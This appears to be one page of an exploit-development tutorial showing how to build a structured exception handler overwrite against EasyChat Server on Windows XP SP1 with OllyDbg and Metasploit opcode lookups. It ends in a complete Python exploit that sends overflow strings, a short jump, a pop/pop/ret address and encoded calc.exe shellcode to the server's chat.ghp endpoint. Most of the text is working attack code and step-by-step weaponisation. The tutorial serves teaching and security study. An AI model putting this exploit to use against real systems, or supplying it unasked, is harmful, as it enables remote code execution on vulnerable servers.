|
Page 4 of 6 When the exception occurs, Olly will pause the process. You must press <shift><F7> to tell Olly to pass the exception on. The result of our first attempt is displayed in OllyDBG below. By looking at the stack dump in the lower right hand corner, the SE handler is located at address 0x00ED6DE0 and that DEADBEEF is above this point. This means that our initial buffer sequence of A's is too short. We need to add more A's to align DEADBEEF with the SE handler location.
If we alter our script to use 228 letter A's, we see that we have overshot the SE handler location a little as shown below.

We need to keep adjusting our initial buffer length until we perfectly align with the SE handle location. You will need to let Olly continue and crash each time followed by restarting EastChat Server and attaching Olly to the new process. This can be very time consuming, but is a necessary part of writing an exploit.
Eventually, we find that a value of 220 A's perfectly aligns us up with the SE handler as illustrated here:
The only issue now is that we also want to overwrite the Pointer to next SEH record with a short jump. Since this is a 4 byte word, we will actually end up with 220 - 4 = 216 letter A's. The short jump will be an assembly level command called an opcode. There are several sources on the Internet to look up opcodes. This site has a good listing of available opcodes although it can be a little overwhelming:
http://ref.x86asm.net/coder32.html
What we actually need is a short jmp. Opcode EB is a short jump using a relative offset of 8 bits (1 byte) which will work fine for us. A relative offset means to jump from where you currently are in memory to a distance specified. It is important to note this since there are also absolute jumps which mean to jump to a specific address. In most cases, Windows will not let you jump to a specific address, but does usually permit short jumps. If we are at address 0x00ED6DDC shown above, we will use one byte for the short jump opcode EB and one byte to specify how far to jump. We now need to figure out what this value should be. We want to jump over the DEADBEEF location to arrive at address 0x00ED6DE4 where our stage 2 shellcode will reside. You may be able to do the math in your head to see that we will need to jump 6 to arrive at this location, but if not, below shows how this is figured:
| |
Address: |
value: |
bytes: |
description: |
| |
0x00ED6DDC |
EB |
1 |
short jump opcode |
| |
0x00ED6DDD |
00 |
1 |
placeholder for jump distance |
| jump |
|
|
|
|
| |
0x00ED6DDE |
90 |
1 |
padding (no-op used) |
| |
0x00ED6DDF |
90 |
1 |
padding (no-op used) |
| |
0x00ED6DE0 |
DEADBEEF |
4 |
placeholder for pop/pop/ret address |
| |
0x00ED6DE4 |
90 |
1 |
no-op (stage 2 begins) |
This shows that we need to jump 1 byte for padding, plus 1 byte for more padding, plus 4 bytes for the pop/pop/ret address which is a total of 6 bytes. We need to be sure this is in hex for our shellcode. In this case 6 decimal is equal to 6 hex. We could use anything for the 2 bytes of padding, but we use a no-op of hex 90 for simplicity. Our short jump with padding for our Python script will be "\xEB\x06\x90\x90". Note that we do not need to reverse this for endianness since this is not an address. Our exploit code should look like the following at this time:
#!c:/Data/Apps/python/python.exe -u
import string, sys
import socket, httplib
#buffer offest for SP1
buffer = 'A'*216
# This is where "Pointer to Next SEH record" is stored
# \xEB\x06 means to jump 6 bytes forward
# This will run after the pop,pop,ret has occurred.
buffer += '\xEB\x06\x90\x90'
# add DEADBEEF to buffer to help align on SEH pointer in memory
buffer += '\xEF\xBE\xAD\xDE'
# Add a bunch of hex 42 (B's) to help over flow buffer and see results.
# This is where the primary exploit (stage 2) code will go.
buffer += 'B'*500
url = '/chat.ghp?username=' + buffer + '&password=' + buffer + '&room=1&sex=2'
print 'Running exploit...\r\n'
print url
conn = httplib.HTTPConnection('192.168.1.205', 80)
conn.request("GET", url)
r1 = conn.getresponse()
print r1.status, r1.reason
conn.close()
The following diagram shows that DEADBEEF is indeed aligned with the SE handler and that the short jump has overwritten the Next Exception_Registration_Record pointer in the stack memory on the right. Keep in mind that this is the stack memory for the EasyChat program that we are overwriting here. You should see that the short jump and 2 byte padding appear in reverse in the stack since the system tries to interpret this as an address in Olly. However, if we look at the raw memory dump on the left, we see that our string is in tact as we sent it and that DEADBEEF appears in reverse as we sent it too.
The next piece that we need to figure out is what address to use for a pop/pop/ret. There are a couple ways to do this, but first we should find out what executable modules EasyChat Server has loaded. To do this within Olly, click View -> Executable modules. You should see a window pop up similar to the one below:

From this list we can now use the opcode database that the Metasploit project team has put together to find useable pop/pop/ret addresses:
http://www.metasploit.com/users/opcode/msfopcode.cgi
Select the "Search for opcodes in a set of modules". On the next page, select the radio button for Opcode Meta Type and click the drop-down to select pop/pop/ret if not already selected. The next screen will allow you to select which modules to search. Choose the "Select one or more common modules". You will see several modules already highlighted. The goal here is to only have modules selected that are also present in the Executable modules list from OllyDBG. In my case, I decided to only select the ws2help.dll module in Metasploit. The following page then asks for the version of operating system. As we mentioned earlier, it is important to know what OS the exploit will be running on to ensure the correct opcode address. In our case we select "Specific operating system version" and highlight "Windows XP 5.1.1.0 SP1 (IA32)" and "English". Yes, even the language can make a difference in the opcode locations. The results of the Metasploit search are shown in the diagram below.
In theory, we should be able to use any of these opcodes. I decided to use the second one 0x71AA2461 which performs a pop esi, pop ebx, ret. Since this will be an actual address location, we will need to account for endianness by reversing this in our script. Therefore, we will overwrite the SE handler with "\x61\x24\xAA\x71".
Replacing DEADBEEF with this new pop/pop/ret address, the middle (buffer) section of our Python shellcode should appears as follows:
#buffer offest for SP1
buffer = 'A'*216
# This is where "Pointer to Next SEH record" is stored
# \xEB\x06 means to jump 6 bytes forward
# This will run after the pop,pop,ret has occurred.
buffer += '\xEB\x06\x90\x90'
# This is where Pointer to exception handler is stored
# Use 0x71AA2461 address for pop,pop,RET in ws2help.dll 5.1.2600.0 SP1
buffer += '\x61\x24\xAA\x71'
# Add a bunch of hex 42 (B's) to help over flow buffer and see results.
# This is where the primary exploit (stage 2) code will go.
buffer += 'B'*500
Start EasyChat Server on the target machine and attach Olly to the process. Once attached, press the play button in Olly. Now launch the exploit from the attacker machine. An exception should occur and you will need to press <shift><F7> to tell Olly to pass the exception on to the handler. Press play a second time and see where Olly pauses again. You should see something like the diagram below.
Look at the EIP register value. Recall that EIP is the pointer to the next instruction to process. We can see in the memory dump in the lower left corner that this address is just after our list of B's (hex 42). As it turns out, hex 42 is actually an opcode which says to increment the edx register. If this is true, then we should be able to increment our B's to 501 and the edx register should increment from value 0x77F79DAC to 0x77F79DAD. Let's run with 501 B's and see what happens.
As expected, the edx register did increment by one as illustrated above. This proves that our pop/pop/ret and short jump both worked. We are now executing our shellcode in the main payload section (stage 2). This means we can place any shellcode we want in this section to make our exploit fully functional.
For a proof of concept, I will use shellcode I found on the Internet which will launch the Windows calculator calc.exe. Again, the Metasploit project website can be used to generate this code. A fully functional exploit is shown below.
#!c:/Data/Apps/python/python.exe -u
import string, sys
import socket, httplib
#buffer offest for SP1
buffer = 'A'*216
# This is where "Pointer to Next SEH record" is stored
# \xEB\x06 means to jump 6 bytes forward to our exploit code
# This will run after the pop,pop,ret has occurred.
buffer += '\xEB\x06\x90\x90'
# This is where Pointer to exception handler is stored
# Use 0x71AA2461 address for pop,pop,RET in ws2help.dll 5.1.2600.0 SP1
buffer += '\x61\x24\xAA\x71'
# This is the exploit code which will pop up calc.exe
# win32_exec - EXITFUNC=seh CMD=calc Size=160
# Encoder=PexFnstenvSub http://metasploit.com
buffer += (
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4"
"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff"
"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3"
"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7"
"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc"
"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e"
"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31"
"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2"
"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe"
"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba")
url = '/chat.ghp?username=' + buffer + '&password=' + buffer + '&room=1&sex=2'
print 'Running exploit...\r\n'
print url
conn = httplib.HTTPConnection('192.168.1.205', 80)
conn.request("GET", url)
r1 = conn.getresponse()
print r1.status, r1.reason
conn.close()
|